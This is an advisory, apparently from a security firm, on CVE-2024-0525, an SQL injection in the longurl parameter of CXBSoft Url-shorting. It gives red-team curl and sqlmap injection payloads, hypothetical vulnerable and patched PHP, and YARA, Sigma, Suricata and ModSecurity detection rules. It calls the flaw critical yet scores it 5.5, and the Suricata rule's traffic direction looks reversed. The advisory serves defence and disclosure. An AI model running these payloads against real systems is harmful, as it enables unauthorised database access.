CVE-2024-0525

Executive Summary

CVE-2024-0525 is a critical SQL injection vulnerability discovered in CXBSoft Url-shorting, a URL shortening application, up to version 1.3.1. The flaw resides in the /pages/long_s_short.php file, specifically within the HTTP POST request handler. By manipulating the longurl parameter, an unauthenticated attacker can inject arbitrary SQL commands into the backend database. This can lead to unauthorized data access, modification, or deletion. The exploit has been publicly disclosed, increasing the risk of active exploitation. The vendor has not responded to disclosure attempts, leaving the vulnerability unpatched. This report provides a comprehensive technical analysis, detection methods, and mitigation strategies.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support and patch availability.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited data modification.
• Availability (A): Low (L) - Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit code and the lack of a patch elevate the risk. An attacker can potentially extract sensitive data (e.g., user credentials, API keys) or deface the application.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the longurl parameter of the /pages/long_s_short.php endpoint. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries.

Vulnerable Code Flow (Hypothetical):

1. The user submits a POST request to /pages/long_s_short.php with longurl=<malicious_input>.
2. The PHP script retrieves the longurl value using $_POST['longurl'].
3. The value is directly embedded into a SQL query, e.g., INSERT INTO urls (long_url) VALUES ('$longurl').
4. An attacker can break out of the string context by injecting a single quote (') and append malicious SQL commands.

Example Payload:

longurl=' OR '1'='1' -- -

This would result in the query:

INSERT INTO urls (long_url) VALUES ('' OR '1'='1' -- -');

The OR '1'='1' condition makes the statement always true, potentially allowing an attacker to bypass authentication or extract data via UNION-based injection.

Impact:

• Data Exfiltration: Extract all rows from the urls table or other tables (e.g., users).
• Data Manipulation: Modify or delete records.
• Authentication Bypass: If the same code pattern is used in login forms, an attacker could gain admin access.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

<?php
$longurl = $_POST['longurl'];
$sql = "INSERT INTO urls (long_url) VALUES ('$longurl')";
mysqli_query($conn, $sql);
?>

Patched Code (Using Prepared Statements):

<?php
$longurl = $_POST['longurl'];
$stmt = $conn->prepare("INSERT INTO urls (long_url) VALUES (?)");
$stmt->bind_param("s", $longurl);
$stmt->execute();
?>

Key Differences:

• The vulnerable code directly interpolates user input into the SQL string.
• The patched code uses a prepared statement with a parameterized query, which treats the input as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running CXBSoft Url-shorting <= 1.3.1.
• Network access to the /pages/long_s_short.php endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -X POST http://target.com/pages/long_s_short.php -d "longurl=test"
   

2. Test for SQL injection:

   curl -X POST http://target.com/pages/long_s_short.php -d "longurl=' OR '1'='1"
   

   If the application returns an error or unexpected behavior, it is vulnerable.

3. Extract database version:

   curl -X POST http://target.com/pages/long_s_short.php -d "longurl=' UNION SELECT @@version -- -"
   

4. Extract table names:

   curl -X POST http://target.com/pages/long_s_short.php -d "longurl=' UNION SELECT table_name FROM information_schema.tables -- -"
   

5. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/pages/long_s_short.php" --data="longurl=test" --batch --dbs
   

Note: The exact payload may vary depending on the database backend (likely MySQL). Use --technique=U for UNION-based injection.

Blue Team (Defensive)

Detection & Response:

1. Monitor HTTP POST requests to /pages/long_s_short.php:

   • Look for abnormal longurl parameters containing SQL keywords (UNION, SELECT, OR, --, #).
   • Alert on requests with a high number of special characters.

2. Web Application Firewall (WAF) Rules:

   • Block requests where the longurl parameter matches SQL injection patterns.
   • Example ModSecurity rule:

     SecRule ARGS:longurl "@rx (?:union|select|insert|update|delete|drop|alter|exec|--|#)" "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
     

3. Database Monitoring:

   • Enable query logging and monitor for anomalous SQL queries originating from the web server.
   • Look for queries with UNION, OR 1=1, or multiple stacked queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /pages/long_s_short.php with longurl containing SQL injection patterns.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).

• File IOCs:

  • Suspicious entries in web server logs (e.g., access.log) with SQL injection payloads.
  • Modified or new files in the web root (e.g., webshells).

• Database IOCs:

  • Unexpected rows in the urls table (e.g., entries with SQL syntax).
  • New database users or privileges.

Detection Engineering

YARA Rule

rule CVE_2024_0525_SQLi_Payload {
    meta:
        description = "Detects SQL injection payloads targeting CVE-2024-0525 in CXBSoft Url-shorting"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0525"
    strings:
        $s1 = "longurl=" nocase
        $s2 = "union" nocase
        $s3 = "select" nocase
        $s4 = "or" nocase
        $s5 = "1=1" nocase
        $s6 = "--" nocase
        $s7 = "#" nocase
    condition:
        $s1 and (any of ($s2,$s3,$s4,$s5,$s6,$s7))
}

Sigma Rule

title: CVE-2024-0525 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against CXBSoft Url-shorting /pages/long_s_short.php
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/pages/long_s_short.php'
        cs-uri-query|contains: 'longurl='
    keywords:
        - 'union'
        - 'select'
        - 'or'
        - '1=1'
        - '--'
        - '#'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0525 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/pages/long_s_short.php"; http_uri; content:"longurl="; http_client_body; pcre:"/(union|select|or|1=1|--|#)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, remove or restrict access to /pages/long_s_short.php until a patch is available.
2. Apply virtual patching: Use a WAF to block SQL injection attempts targeting the longurl parameter.
3. Isolate the application: Place the application behind a reverse proxy with strict input validation.

Long-term Solutions:

1. Migrate to a supported alternative: Replace CXBSoft Url-shorting with a maintained URL shortener (e.g., YOURLS, Polr).
2. Code review and rewrite: If the application is critical, conduct a full code audit and rewrite the vulnerable code using prepared statements.
3. Vendor engagement: Continue to attempt contact with CXBSoft for an official patch. If unresponsive, consider legal or community-driven patching.

Detection & Monitoring:

• Implement the YARA, Sigma, and Suricata rules provided above.
• Enable detailed logging for all HTTP POST requests to the application.
• Regularly review database logs for suspicious queries.

Valters IT
Securing Digital Frontiers